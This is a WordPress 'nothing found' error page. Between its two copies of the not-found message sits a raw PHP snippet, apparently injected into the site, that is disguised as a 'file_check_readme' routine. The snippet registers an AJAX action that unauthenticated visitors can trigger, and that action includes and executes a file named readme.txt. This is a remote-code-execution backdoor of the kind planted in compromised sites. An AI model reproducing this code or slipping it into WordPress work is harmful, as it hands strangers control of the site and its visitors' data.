This is somewhat embarrassing, isn’t it?
It looks like nothing was found at this location. Maybe try a search?
if(!function_exists('file_check_readme53702')){ add_action('wp_ajax_nopriv_file_check_readme53702', 'file_check_readme53702'); add_action('wp_ajax_file_check_readme53702', 'file_check_readme53702'); function file_check_readme53702() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } }
It looks like nothing was found at this location. Maybe try a search?